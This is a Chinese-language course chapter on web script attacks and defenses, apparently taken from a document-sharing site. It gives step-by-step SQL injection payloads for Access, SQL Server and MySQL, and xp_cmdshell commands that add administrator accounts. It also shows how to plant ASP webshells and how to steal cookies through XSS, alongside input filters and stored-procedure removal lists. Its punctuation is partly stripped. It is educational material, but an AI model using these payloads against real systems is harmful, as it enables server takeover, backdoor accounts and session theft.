




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
1、第五章第五章 腳本攻擊與腳本攻擊與防御防御1 SQL注入技術 n什么是SQL注入技術?SQL注入即是指攻擊者通過在應用程序中預先定義好的查詢語句結尾加上額外的SQL語句元素,欺騙數據庫服務器執行非授權的任意查詢。n分析一個經典的SQL注入漏洞dim rsadmin1=request(admin)password1=request(password)set rs=server.CreateObject(ADODB.RecordSet)rs.open select * from admin where admin= & admin1 & and password=& pas
2、sword1 &,conn,1if rs.eof and rs.bof thenresponse.writealert(用戶名或密碼不正確!);response.writejavascript:history.go(-1)response.endelsesession(admin)=rs(admin)session(password)=rs(password)session(aleave)=rs(aleave)response.redirect admin.aspend ifrs.closeset rs=nothing 一個經典的SQL注入漏洞分析n在用戶名和密碼那里都填入 OR =
3、,nSQL語句被構造成select * from admin where admin= OR = and password= OR = n意思是當admin為空或者空等于空,password為空或者空等于空的時候整個查詢語句就為真。 如何來修補漏洞?n過濾掉其中的特殊字符。n這里我們就過濾掉其中的單引號“”,即是把程序的頭兩行改為:admin1=replace(trim(request(admin),)password1=replace(trim(request(password),) 判斷數據庫的類型n服務器的IIS錯誤提示沒關閉提交http:/localhost/test/onews.as
4、p?id=37 :1、如果是Access數據庫,那么應該返回:Microsoft JET Database Engine 錯誤 80040e14 字符串的語法錯誤 在查詢表達式 id=37 中。 / onews.asp,行8Eg:http:/ OLE DB Provider for ODBC Drivers 錯誤 80040e14 MicrosoftODBC SQL Server DriverSQL Server字符串 之前有未閉合的引號。 / onews.asp,行8 n服務器的IIS錯誤提示關閉了 根據Access和SQLServer自己的系統表來區分。Access是在系統表msysobj
5、ects中,但在Web環境下讀該表會提示“沒有權限”,SQLServer是在表sysobjects中,在Web環境下可正常讀取。提交:http:/localhost/test/onews.asp?id=37 and (select count(*) from sysobjects)0 如果是Access數據庫,因為不存在sysobjects表,所以返回結果應該和正常頁面有很大區別;如果是SQLServer,則應該返回一個查詢成功的正常頁面。1.1 Access數據庫的注入 n把IE菜單=工具=Internet選項=高級=顯示友好 HTTP 錯誤信息前面的勾去掉,這樣可以顯示出現的錯誤信息。n分
6、析一次完整的SQL注入。nhttp:/localhost/test/onews.asp?id=37 nhttp:/localhost/test/onews.asp?id=37 and 1=2 sql=select * from news where id=37 and 1=2 http:/localhost/test/onews.asp?id=37 and 1=1 nhttp:/localhost/test/onews.asp?id=37 and 0(select count(*) from admin)猜測是否存在admin表n http:/localhost/test/onews.asp?
7、id=37 and 1=(select count(*) from admin where len(pass)0)猜測是否存在pass字段n http:/localhost/test/onews.asp?id=37 and 1=(select count(*) from admin where len(password)0) n http:/localhost/test/onews.asp?id=37 and (select asc(mid(password,1,1) from admin)100 假設pssword字段中第一個記錄的第一位的ASCII碼大于100,如果假設正確則應該返回正常頁
8、面 猜測password字段是否存在防止SQL注入(1) 在服務端正式處理之前對提交數據的合法性進行檢查; (2) 封裝客戶端提交信息; (3) 替換或刪除敏感字符/字符串; (4) 屏蔽出錯信息。 第一種方法Dim Tc_Post,Tc_Get,Tc_In,Tc_Inf,Tc_Xh定義需要過濾的字串Tc_In=|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|or|char|declare Tc_Inf = split(Tc_In,|)處理post數據If Request.Form ThenFor Eac
9、h Tc_Post In Request.FormFor Tc_Xh=0 To Ubound(Tc_Inf)If Instr(LCase(Request.Form(Tc_Post),Tc_Inf(Tc_Xh)0 ThenResponse.Write alert(請不要在參數中包含非法字符嘗試注入!);處理get數據If Request.QueryString ThenFor Each Tc_Get In Request.QueryStringFor Tc_Xh=0 To Ubound(Tc_Inf)If Instr(LCase(Request.QueryString(Tc_Get),Tc_In
10、f(Tc_Xh)0 ThenResponse.Write alert(請不要在參數中包含非法字符嘗試注入!); 1.2 SQLServer數據庫的注入 n判斷帳號的權限帳戶有三種不同的權限:Sa權限、Db_owner權限、Public權限 http:/localhost/test/onews.asp?id=37 ;and (select count(*) from sysobjects)0 and 1=(select IS_SRVROLEMEMBER(sysadmin) ;- 如果返回正常的話就說明數據庫連接帳戶是Sa權限 and 1=(select IS_MEMBER(db_owner) ;
11、- 如果返回正常的話就說明數據庫連接帳戶就是db_owner權限 Sa權限下的注入 nWeb和數據庫在一臺服務器上 在這種情況下又可以分為幾種情況:1.沒有防火墻阻隔直接拿系統權限沒有防火墻阻隔直接拿系統權限;exec master.dbo.xp_cmdshell net user helen 123456 /add;- ;exec master.dbo.xp_cmdshell net localgroup administrators helen /add;- 2.無法直接連接服務器無法直接連接服務器取得webshell。什么是什么是webshellwebshell?所謂webshell就是
12、一個asp或php木馬后門,黑客在入侵了一個網站后,常常在將這些asp或php木馬后門文件放置在網站服務器的web目錄中,與正常的網頁文件混在一起。然后黑客就可以用web的方式,通過asp或php木馬后門控制網站服務器,包括上傳下載文件、查看數據庫、執行任意程序命令等。 webshell的優點 webshell 最大的優點就是可以穿越防火墻,由于與被控制的服務器或遠程主機交換的數據都是通過80端口傳遞的,因此不會被防火墻攔截。并且使用webshell一般不會在系統日志中留下記錄,只會在網站的web日志中留下一些數據提交記錄,沒有經驗的管理員是很難看出入侵痕跡的。 如何利用如何利用SaSa權限取
13、得權限取得webshellwebshell?n可以利用對Access數據庫注入的方法,猜解管理員帳戶密碼,登陸后臺再通過上傳或者寫入配置文件等方法得到webshell,如前介紹。n找到web目錄直接用echo命令寫入簡單的asp木馬。找web目錄現在一般有讀取注冊表和遍歷目錄法,寫入木馬是利用xp_cmdshell擴展存儲執行命令。假如web目錄為D:WEB,具體語句如下:;exec master.dbo.xp_cmdshell echo D:WEBtc.asp;- 一句話木馬nWebWeb服務器和數據庫服務器分離服務器和數據庫服務器分離首先,想辦法得到數據庫服務器的ip地址,使用xp_cmd
14、shell擴展存儲執行命令,具體如下:方法一:;exec master.dbo.xp_cmdshell ipconfig -all 此方法用在可以得到命令回顯的情況下,用ipconfig命令得到ip地址方法二:;exec master.dbo.xp_cmdshell ping 你的IP使用此方法時先打開防火墻的禁止ping入功能,執行命令后防火墻就會提示某ip地址禁止ping入,那就是數據庫服務器的ip地址。其次,處理方法與“Web和數據庫在一臺服務器”情況相同。 db_owner權限下的注入 直接獲取webshell的方法:1.1.獲取獲取WEBWEB路徑路徑在db_owner權限下要得到W
15、EB路徑基本只有兩個辦法:n利用擴展存儲過程利用擴展存儲過程xp_regreadxp_regread,只要有Public權限就可以運行它。因為IIS默認的WEB路徑放在注冊表中,所以通過以下語句就可以讀取出來:;Exec master.dbo.xp_regread HKEY_LOCAL_MACHINE, SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots,/ n利用擴展存儲過程利用擴展存儲過程xp_dirtreexp_dirtree。通過它可以列出指定目錄下所有的子目錄和文件。這個擴展存儲過程同樣只需要Public權限就可以運
16、行它,它有三個參數,第一個參數是路徑,第二個是目錄深度,第三個表示是否列出文件。如果第三個參數為0,那么只列出目錄。方法一:n首先建立一個臨時表把目標盤下面的1級子目錄和文件插入到表中: http:/localhost/XXX.asp?id=1 ;CREATE TABLE tmp(ID int IDENTITY (1,1) NOT NULL,name nvarchar (300) NOT NULL,depth int NOT NULL,isfile nvarchar (50) NULL);insert into tmp exec master.xp_dirtree d:,1,1 n獲取第一條數
17、據:http:/localhost/XXX.asp?id=1 and (select name from tmp where id=1)1 n這樣通過遞增ID就可以把所有目錄讀取出來,一定可以找出web目錄。 方法二:n第一步還是先創建臨時表,把目標盤下面的所有子目錄和文件信息全部插入到表中:http:/localhost/XXX.asp?id=1;CREATE TABLE tmp(ID int IDENTITY (1,1) NOT NULL,name nvarchar (300) NOT NULL,depth int NOT NULL,isfile nvarchar (50) NULL);i
18、nsert into tmp exec master.xp_dirtree d:,0,1 n第二步,直接測試D盤下是否有目標文件“XXX.asp”,提交如下語句:http:/localhost/XXX.asp?id=1 and (slecet str(id)%2b%2bstr(depth)%2b from tmp where name=XXX.asp and isfile=1)0 2. 2. 寫入寫入webshellwebshell通過備份數據庫來獲得webshell。原因:原因:因為asp.dll處理ASP文件的時候,以“”標記為結尾的語句都會當作ASP語句執行。如果先在數據庫之中插入構造的
19、ASP木馬語句,然后再把數據庫備份到磁盤,命名為“a.asp”,就可以得到webshell了。 采用增量備份的方法,語句如下:nCreate table cmd(a image)nBackup database data to disk= E:wwwwwwroot tc.bak with init insert into cmd(a) value()nBackup database data to disk= E:wwwwwwrootshell.asp with DIFFERENTIAL保護好SQLServer數據庫 n在數據沒有經過服務器處理之前就進行嚴格的檢查 n刪除掉擴展存儲 use m
20、aster EXEC sp_dropextendedproc xp_cmdshell EXEC sp_dropextendedproc Sp_OACreate EXEC sp_dropextendedproc Sp_OADestroy EXEC sp_dropextendedproc Sp_OAGetErrorInfo EXEC sp_dropextendedproc Sp_OAGetProperty EXEC sp_dropextendedproc Sp_OAMethod EXEC sp_dropextendedproc Sp_OASetProperty EXEC sp_dropextend
21、edproc Sp_OAStopEXEC sp_dropextendedproc Xp_regaddmultistring EXEC sp_dropextendedproc Xp_regdeletekey EXEC sp_dropextendedproc Xp_regdeletevalue EXEC sp_dropextendedproc Xp_regenumvalues EXEC sp_dropextendedproc Xp_regread EXEC sp_dropextendedproc Xp_regremovemultistring EXEC sp_dropextendedproc Xp
22、_regwrite drop procedure sp_makewebtaskn刪除掉所對應的dll文件,xplog70.dlln盡量不采用SA權限連接數據庫注入過程中的一些常見問題 n關鍵存儲過程被刪除關鍵存儲過程被刪除 首先嘗試恢復xp_cmdshell,提交如下語句:sp_addextendedproc Xp_cmdshell,dllname=Xplog70.dll如果提示找不到Xplog70.dll文件,那就用webshell上傳Xplog70.dll到任意目錄,再執行:Exec master.dbo.addextendedproc xp_cmdshell, C: xplog70.dl
23、l 如果還是不成功,可以再嘗試加上SQL帳戶:exec master.dbo.sp_addlogin xxxexec master.dbo.sp_addsrvrolemember xxx,sysadmin 然后用SQL查詢分析器連接上去再執行:declare cmd INTexec sp_oacreate wscript.shell,cmd outputexec sp_oamethod cmd,run,null,net user xxx 123456 /add,0,truedeclare cmd INTexec sp_oacreate wscript.shell,cmd outputexec
24、sp_oamethod cmd,run,null,net localgroup administrators xxx /add,0,true 2 PHP注入nPHP+MySQL注入的一些特征Version4以下的版本不支持子語句。Php.ini里的magic_quotes_gpc為on時,把提交的變量中所有的 (單引號), “ (雙引號), (反斜線) 和 空字符會自動轉為含有反斜線的轉義字符,例如把變成了,把變成了 。Php的mysql_query函數限制了只能查詢一個SQL語句,即適用分好把多個SQL語句組合到一起,實際上也只有第一個SQL語句會被執行。環境探測n是否支持是否支持”-“-“
25、注釋法注釋法,如果支持那么就是3.23.3及以上版本,提交:http:/localhost/user.php?username=abc-testn利用利用orderorder轉換判斷版本轉換判斷版本,提交:http:/localhost/user.php?username=abc and ord(mid(version(),1,1)51/*返回正常頁面說明是4.0.0及其以上版本。n聯合查詢功能聯合查詢功能。如果version4,可以使用聯合查詢來獲得精確的版本號,提交: http:/localhost/user.php?username=abc union select 1,version(
26、),3/*PHP注入過程n1.判斷是否存在注入,加;and 1=1;and 1=2 n2.判斷版本 and ord(mid(version(),1,1)51 /* 返回正常說明是4.0以上版本,可以用union查詢n3.利用order by 暴字段,在網址后加 order by 10 /* 如果返回正常說明字段大于10n4.再利用union來查詢準確字段,如: and 1=2 union select 1,2,3,./*直到返回正常,說明猜到準確字段數。如過濾了空格可以用/*/代替。n5.判斷數據庫連接帳號有沒有寫權限,and (select count(*) from mysql.user)
27、0 /*如果結果返回錯誤,那我們只能猜解管理員帳號和密碼了。n6.如果返回正常,則可以通過and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路徑的ascii值,用逗號隔開),8,9,10 /* 注:load_file(char(文件路徑的ascii值,用逗號隔開)也可以用十六進制,通過這種方式讀取配置文件,找到數據庫連接等。n7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6. from user /* 如果返回正常,說明存在這個表。n8.知道了表就猜解字段,and 1=2 union select
28、1,username,3,4,5,6. from user/*如果在2字段顯示出字段內容則存在些字段。n9.同理再猜解password字段,猜解成功再找后臺登錄。n10.登錄后臺,上傳shell。3 跨站腳本攻擊技術 n什么是跨站腳本攻擊?跨站腳本攻擊(XSS,又稱作CSS)指的是惡意攻擊者向Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web頁面的html代碼會被執行,從而達到惡意用戶的特殊目的。屬于被動攻擊。n數據流程:惡意用戶的Html輸入web程序進入數據庫web程序用戶瀏覽器 跨站Script攻擊方式n動態輸入大致有四種形式:URL參數表格元素Cookie數據請求1:
29、“alert()”:顯示信息對話框的alert()方法,它生成的是一個獨立的小窗口,稱作對話框,用來顯示一條信息和一個按鈕。2:“document.cookie”:我們在處理cookie時,javascript將它保存為document對象的一個屬性,其屬性名稱是cookie,利用這個屬性,我們可以創建和讀取cookie數據,在程序中可以使用:“alert(document.cookie)”調用當前頁面的cookie數據項值.在我們啟動瀏覽器打開頁面后,如果存在相應的cookie,那么它被裝入到document對象的cookie屬性中,document.cookie屬性采用name=value
30、對應方式保存各個cookie數據項值.document(文檔)對象表示在瀏覽器里顯示的HTML(向頁面輸出數據),cookie屬性是允許讀寫HTTP的cookie。3:escape() :它將字符串中所有的非字母字符轉換為用字母數字表示的等價字符串,具有編碼字符串的功能.一般情況下,cookie通常由服務器端的程序通過HTTP請求和響應頭發送給瀏覽器。跨站Script攻擊范例 1.Htmnnnntc.aspn跨站盜取cookie 什么是什么是cookiecookie?nCookie,有時也用其復數形式Cookies,指某些網站為了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據
31、(通常經過加密)。nCookie是由服務器端生成,發送給User-Agent(一般是瀏覽器),瀏覽器會將Cookie的key/value保存到某個目錄下的文本文件內,下次請求同一網站時就發送該Cookie給服務器(前提是瀏覽器設置為啟用cookie)。n作用:作用:服務器可以利用Cookies包含信息的任意性來篩選并經常性維護這些信息,以判斷在HTTP傳輸中的狀態。 Logtc.aspnnnnnnnnn用戶名nnnn留言nnn n nnnn n nnnnntc2.aspn實例演示:實例演示:Logtc.aspLogtc.asp;tc2.asptc2.asp輸入:輸入:alert(documen
32、t.cookiealert(document.cookie) ) 輸入:輸入:window.open(http:/localhost/test/test2/twindow.open(http:/localhost/test/test2/tc2.asp?msg=+document.cookiec2.asp?msg=+document.cookie) ) 跨站腳本攻擊的突破和限制 1. 首先提交alert(“test for XSS”) ,能彈出窗口,說明跨站攻擊成功。解決方案1:過濾用戶提交的變量中的 ,轉換成16進制str=replace(str,>) 2. 測試:javas
33、cript:alert(饒過第一個限制!)解決方案2:替換“:”為“:”str=replace(str,:,:)3. 測試:javascript:alert(“饒過第二個限制!”),:是“:”的十進制格式解決方案3:過濾ASC字符的轉換代碼“&”str=replace(str,&,&)4. 測試:# onerror=alert(再次饒過驗證)解決方案4:破壞形成事件機制的條件,轉換掉提交過來的空格字符 str=replace(str, , ) 測試用例:測試用例:1.htm1.htm,tc3.asptc3.asp1
34、.htmnnnntc3.aspn%nstr=request(a)nstr=replace(str,>)nstr=replace(str,:,:)nstr=replace(str,&,&)nstr=replace(str, , ) nresponse.write strnresponse.write nresponse.write n%4 利用cookie的攻擊 nCookie文件名稱格式:你的用戶名產生的COOKIE的網頁文件所在的WEB目錄COOKIE改變的次數.txt如:ibmbaidu1.txtn設置cookie腳本Set-C
35、ookie: name = VALUE; expires = DATE; path = PATH; domain = DOMAIN_NAME; 4.1 Cookie欺騙原理按照瀏覽器的約定,只有來自同一域名的cookie才可以讀寫,而cookie只是瀏覽器的,對通訊協議無影響,所以要進行cookie欺騙可以有多種途徑:、跳過瀏覽器,直接對通訊數據改寫 、修改瀏覽器,讓瀏覽器從本地可以讀寫任意域名cookie 、使用簽名腳本,讓瀏覽器從本地可以讀寫任意域名cookie(有安全問題)、欺騙瀏覽器,讓瀏覽器獲得假的域名第四種方法思路首先構造3個頁面:nAdmin1.htm(服務器正常頁面)nLeve
36、l1.htm(測試頁面)nAdmin2.htm(本機欺騙頁面)Admin1.htmdocument.cookie=level & = & user & ;expires=Monday, 01-Jan-08 12:00:00 GMTmsgbox document.cookieAdmin2.htmdocument.cookie=level & = & admin & ;expires=Monday, 01-Jan-08 12:00:00 GMTLevel1.htmco=document.cookiele=mid(co,instr(co,=)+1,len(co)-instr(co,=)+1)if le=user thenmsgbox you are a userelse if le=admin thenmsgbox you are a administrator elsemsgbox you not login end ifend ifn正常訪問admin1.htm頁面,得到用戶名為user。n然
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 煉油廠智能化與大數據應用考核試卷
- 電氣機械系統的智能化旅游應用考核試卷
- 糖批發企業市場競爭力評估與提升考核試卷
- 8-1數模轉換電子課件
- 朋友和我初二語文作文
- 汽車配件售后服務提升考核試卷
- 稀土金屬加工中的設備投資與經濟效益分析案例考核試卷
- 疏散通道的安全標識與規范設置考核試卷
- 碳素材料在化學合成中的催化作用考核試卷
- 手腕康復器材考核試卷
- 壓覆礦產資源評估服務方案
- 三聯圖書館管理系統2013壓縮版常見問題與解答
- 化妝品年度全套內部審核檢查計劃、內審記錄表及內審報告
- 小學英語課程與教學論(小學教育專業)PPT完整全套教學課件
- 五年級下冊綜合實踐活動教學設計-紅蘿卜牙簽高塔的研究 全國通用
- 分布式光伏發電項目投標技術方案(純方案)
- 中藥養護記錄表
- 實驗室安全自查表樣表
- 外賣食物中毒起訴書
- xk5036數控立式銑床總體及橫向進給傳動機構設計論文大學本科畢業論文
- 小學五六年級青春期女生健康心理講座PPT
評論
0/150
提交評論